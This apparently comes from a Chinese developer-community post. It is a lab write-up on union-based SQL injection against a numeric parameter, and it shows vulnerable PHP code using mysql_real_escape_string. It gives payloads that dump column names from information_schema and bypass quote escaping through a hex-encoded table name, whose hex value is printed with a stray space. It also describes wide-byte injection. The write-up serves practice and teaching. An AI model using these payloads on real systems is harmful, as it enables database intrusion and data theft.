问题描述

做了一个靶场,注入点为数字类型,一开始一帆风顺,直到爆破列名的时候突然报错,页面突然就没了,毫无征兆...报错时的url如下:

?id=1 and 1=2 union select column_name,null,null,null,null from information_schema.columns where table_schema=database() and table_name="users"

查看源码:

$sql="SELECT * FROM users where id=";
    $sql.=mysql_real_escape_string($_GET["id"])." ";
    $result=mysql_query($sql);

mysql_real_escape_string() 函数

用来转义 SQL 语句中使用的字符串中的特殊字符。如果成功,则该函数返回被转义的字符串(即在字符前加"\")。如果失败,则返回 false。

受影响的字符:

\x00\n\r
\'"
\x1a

所以报错是因为 table_name="users" 部分受到了转义字符的影响,变成了table_name=\"users\" ,进而无法识别而报错。所以需要进行引号转义的绕过

解决方法

将 users 转换为16进制 

?id=1 and 1=2 union select column_name,null,null,null,null from information_schema.columns where table_schema=database() and table_name = 0x75736 57273 

 转换工具:

字符串转16进制_16进制转换、十六进制转换_汇享在线工具箱字符串转16进制(十六进制)http://tool.huixiang360.com/str/hex.php

注意:
如果引号出现在其他地方比如字符型的注入点上,可以通过宽字节绕过。即通过在引号前面添加%D6、%df等字符,令其与"\"组合成新的编码,解析成为汉字,以此来消除"\"对引号的影响。但此处双引号周围不能出现其他字符,只能通过转换为16进制来绕过

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐